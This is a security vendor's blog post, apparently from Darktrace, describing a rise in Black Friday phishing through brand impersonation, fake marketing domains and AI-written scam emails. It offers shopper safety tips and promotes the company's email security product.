As the world gears up for Black Friday and the festive shopping season, inboxes flood with deals and delivery notifications, creating a perfect storm for phishing attackers to strike.

Contributing to the confusion, legitimate brands often rely on similar urgency cues, limited-time offers, and high-volume email campaigns used by scammers, blurring the lines between real deals and malicious lookalikes. While security teams remain extra vigilant during this period, the risk of phishing emails slipping in unnoticed remains high, as does the risk of individuals clicking to take advantage of holiday shopping offers.

Analysis conducted by Darktrace’s global analyst team revealed that phishing attacks taking advantage of Black Friday jumped by 620% in the weeks leading up to the holiday weekend, with the volume of phishing attacks expected to jump a further 20-30% during Black Friday week itself.

First observation: Brand impersonation

Brand impersonation was one of the techniques that stood out, with threat actors creating convincing emails – likely assisted by generative AI – purporting to be from household brands including special offers and promotions.

The week before Thanksgiving (15-21 November) saw 201% more phishing attempts mimicking US retailers than the same week in October, as attackers sought to profit off the back of the busy holiday shopping season. It’s not just about volume, either – attackers are spoofing brands people love to shop with during the holidays. Fake emails that look like they’re from well-known retailers like Macy’s, Walmart, and Target were up by 54% just across last week1. Even so, Amazon is the most impersonated brand, making up 80% of phishing attempts in Darktrace’s analysis of global consumer brands like Apple, Alibaba and Netflix.  

While major brands invest heavily in protecting their organizations and customers from cyber-attacks, impersonation is a complicated area as it falls outside of a brand’s legitimate infrastructure and security remit. Retail brands have a huge attack surface, creating plenty of vectors for impersonation, while fake domains, social profiles, and promotional messages can be created quickly and at scale.

Second observation: Fake marketing domains

One prominent Black Friday phishing campaign observed landing in many inboxes uses fake domains purporting to be from marketing sites, like “Pal.PetPlatz.com” and “Epicbrandmarketing.com”.

These emails tend to operate in one of two ways. Some contain “deals” for luxury items such as Rolex watches or Louis Vuitton handbags, designed to tempt readers into clicking. However, the majority are tied to a made-up brand called Deal Watchdogs, which promotes “can’t-miss” Amazon Black Friday offers – designed to lure readers into acting fast to secure legitimate time-sensitive deals. Any user who clicks a link is taken to a fake Amazon website where they are tricked into inputting sensitive data and payment details.

Third observation: The impact of generative AI

The biggest shift seen in phishing in recent years is how much more convincing scam emails are thanks to generative AI. 27% of phishing emails observed by Darktrace in 2024 contained over 1,000 characters2, suggesting LLM use in their creation. Tools like ChatGPT and Gemini lower the barrier to entry for cyber-criminals, allowing them to create phishing campaigns that humans find it difficult to spot.  

Let’s take a look at a dummy email created by a member of our team without a technical background to illustrate how easy it is to spin up an email that looks and feels like a genuine Black Friday offer. With two prompts, generative AI created a convincing “sale” email that could easily pass as the real thing without requiring any technical skill.

A fake Black Friday deal email created using generative AI, with only two prompts. The image has been pixelated for marketing purposes.

Anyone can now create convincing brand spoofs, and they can do it at scale. That makes it even more important for email users to pause, check the sender, and think before they click.

Why phishing scams hurt consumers and brands

These spoofs don’t just drain shoppers’ bank accounts and grab their personal data. They erode trust, drive people away from real sites, and ultimately hurt brands’ sales. And the fakes keep getting sharper, more convincing, and harder to spot.

Though brands should implement email controls like DMARC to help reduce spoofing, they can’t stop attackers from registering new look-alike domains or using other channels. At the end of the day, human users remain vulnerable to well-crafted scams, particularly when the element of trust from a well-known brand is involved. And while brands can’t prevent all impersonation scams, the fallout can still erode consumer trust and damage their reputation.

In order to limit the impact of these scams, two things need to work together: better education so consumers know when to slow down and look twice, and email security (plus a DMARC solution and an attack surface management tool) that can adapt faster than the attackers – protecting both shoppers and the brands they love.

Tips to stay safe while Black Friday shopping online

On top of retailers implementing robust email security, there are some simple steps shoppers can take to stay safer while shopping this holiday season.

  • Check every website (twice). Scammers make tiny changes you can barely see. They’ll switch Walmart.com for Waimart.com and most people won’t notice. If something looks even slightly off, check the URL carefully and, if you’re unsure, search for reviews of that exact address.
  • Santa keeps the real gifts in the workshop. Don’t just click through from sales emails. Use them as a prompt to log in directly to the official app or site, where any genuine notifications will appear.
  • Look at the payment options. Real retailers usually offer a handful of recognizable ways to pay; if a site pushes only odd methods or upfront transfers, don’t use it.
  • Be skeptical of Christmas miracles. If a deal on a big-ticket item looks too good to be true, it usually is.
  • Leave the rushing to the elves. Countdown timers and “last chance” banners are designed to make you click before you think. Take a breath, double-check the sender and the site, and then decide whether to buy.

Email security you can trust this holiday season

The heightened holiday shopping season shines a spotlight on an uncomfortable reality: now that phishing emails are harder than ever to distinguish from legitimate brand communication, traditional spam filters and Secure Email Gateways struggle to keep up. In order to protect against communication-based attacks, organizations require email security that can evaluate the full context of an email – not just surface-level indicators – and stop malicious messages before they reach inboxes.

Darktrace / EMAIL uses Self-Learning AI to understand the behavior and patterns of every user, so it can detect the subtle inconsistencies that reveal a message isn’t genuine, from shifts in tone and writing style to unexpected links, unfamiliar senders, or off-brand visual cues. By identifying these anomalies automatically – and either holding them entirely, or neutralizing malicious elements – it removes the burden from employees to catch near-imperceptible errors and reinforces protection for the entire organization, from staff to customers to brand reputation.

Join our live broadcast on 9 December, where Darktrace will reveal new, industry-first innovations in email security keeping organizations safe this Christmas – from DMARC to DLP. Sign up to the live launch event now.

For a deeper dive into some specific Black Friday phishing campaigns surfaced by the Darktrace threat analysis team, read the follow-up blog here.

A note on methodology

Insights derive from anonymous live data across 6,500 customers protected by Darktrace / EMAIL. Darktrace created models tracking verified phishing emails that:

  • Explicitly mentioned Black Friday
  • Impersonated US retailers popular during the holiday season (Walmart, Target, Best Buy, Macy's, Old Navy, 1800-Flowers)
  • Impersonated major global brands (Apple, eBay, Netflix, Alibaba and PayPal)

Tracking ran from October 1 to November 21.

References

[1] Based on live tracking of phishing emails spoofing Walmart, Target, Best Buy, Macy's, Old Navy, 1800-Flowers across email inboxes protected by Darktrace.  November 15 – November 21, 2025

[2] Based on analysis of 30.4 million phishing emails between December 21, 2023, and December 18, 2024. Darktrace Annual Threat Report 2024.

[related-resource]

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About the author
Carlos Gray
Senior Product Marketing Manager, Email
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